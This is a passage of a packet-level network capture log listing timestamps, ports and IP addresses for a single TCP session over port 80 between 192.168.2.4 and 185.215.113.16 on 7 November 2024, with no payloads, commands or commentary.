Nov 7, 2024 06:01:12.040765047 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040776014 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040777922 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.040787935 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040798903 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040801048 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.040812016 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040823936 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040829897 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040829897 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.040839911 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040848017 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.040858984 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040869951 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040884972 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040885925 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.040898085 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040908098 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040915966 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.040920973 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040931940 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040941954 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040945053 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.040960073 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040968895 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.040977955 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.040986061 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.040990114 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.041002989 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.041014910 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.041026115 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.041028023 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.041037083 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.041054964 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.041065931 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.041066885 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.041084051 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.041088104 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.041096926 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.041109085 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.041117907 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.041120052 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.041131973 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.041141987 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.041152000 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.041166067 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.041178942 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.041188002 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.041194916 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.041208029 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.041212082 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.041224003 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.041234016 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.041239977 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.041240931 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.041256905 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.041269064 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.041280031 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.041280985 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.041290045 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.041301012 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.041305065 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.041312933 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.041327000 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.041332960 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.041342020 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.041354895 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.041356087 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.041383028 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.041390896 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.041394949 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.041407108 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.041441917 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.041465044 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.041671038 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.041708946 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.041733980 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.041750908 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.041779995 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.041796923 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.041938066 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.041954041 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.041965961 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.041976929 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.041986942 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.041990042 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.042002916 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.042016029 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.042018890 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.042026997 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.042040110 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.042049885 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.042051077 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.042061090 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.042072058 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.042078972 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.042083025 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.042090893 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.042103052 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.042114973 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.042124987 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.042129040 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.042129040 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.042144060 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.042155027 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.042157888 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.042165995 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.042176962 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.042186975 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.042192936 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.042201042 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.042212009 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.042222977 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.042224884 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.042232037 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.042232990 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.042232990 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.042243004 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.042254925 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.042273045 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.042284966 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.042288065 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.042296886 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.042309046 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.042320013 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.042325020 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.042331934 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.042344093 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.042345047 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.042363882 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.042366028 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.042382002 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.042392969 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.042392969 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.042404890 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.042418003 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.042423964 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.042429924 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.042440891 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.042450905 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.042453051 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.042467117 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.042494059 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.043024063 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.043044090 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.043055058 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.043076992 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.043104887 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.043114901 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.043128014 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.043138981 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.043159962 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.043186903 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.043704033 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.043755054 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.043773890 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.043785095 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.043796062 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.043823004 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.043823957 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.043839931 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.043847084 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.043869972 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.043890953 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.044014931 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.044032097 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.044044018 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.044054031 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.044060946 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.044066906 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.044075966 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.044085026 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.044105053 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.044122934 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.044286966 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.044331074 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.044342995 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.044354916 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.044389963 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.044393063 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.044404984 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.044414997 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.044426918 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.044428110 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.044445038 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.044456959 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.044462919 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.044467926 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.044480085 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.044487953 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.044506073 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.044507980 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.044517994 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.044528961 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.044533968 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.044553041 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.044578075 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.044619083 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.044631004 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.044641018 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.044656992 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.044661999 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.044668913 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.044673920 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.044680119 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.044692039 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.044692993 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.044703960 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.044723988 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.044728041 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.044734955 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.044748068 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.044761896 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.044781923 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.044787884 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.044820070 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.044831038 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.044842005 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.044869900 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.044878960 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.044917107 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.044934034 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.044945955 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.044955969 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.044960976 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.044967890 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.044986010 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.044990063 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.045001984 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.045011997 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.045012951 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.045032978 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.045030117 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.045047998 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.045057058 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.045059919 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.045077085 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.045078993 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.045089006 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.045099974 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.045100927 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.045114994 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.045124054 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.045147896 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.045171976 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.045254946 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.045267105 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.045278072 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.045289993 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.045298100 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.045301914 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.045329094 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.045346022 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.045347929 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.045363903 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.045376062 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.045384884 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.045408010 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.045413017 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.045414925 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.045424938 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.045450926 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.045463085 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.045474052 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.045475006 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.045488119 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.045496941 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.045506954 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.045530081 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.045573950 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.045584917 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.045594931 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.045605898 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.045617104 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.045618057 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.045630932 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.045638084 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.045669079 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.046252012 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046298027 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.046318054 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046329975 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046340942 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046365976 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.046377897 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.046511889 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046529055 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046539068 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046549082 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046554089 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.046561003 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046575069 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046585083 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046587944 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.046596050 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046607018 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046616077 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.046616077 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046638012 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046643972 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.046643972 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.046652079 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046674967 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046675920 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.046691895 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046700001 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.046704054 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046715975 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046726942 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046732903 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.046737909 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046750069 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046750069 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.046761036 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046772003 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046773911 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.046783924 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046793938 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046799898 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046804905 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046814919 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046816111 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.046816111 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.046834946 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.046835899 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046854019 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046864033 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046864986 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.046875954 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046886921 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046895981 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046899080 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.046906948 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046920061 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046931028 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046941996 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046941996 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.046955109 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.046964884 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.046967983 CET	80	49797	185.215.113.16	192.168.2.4
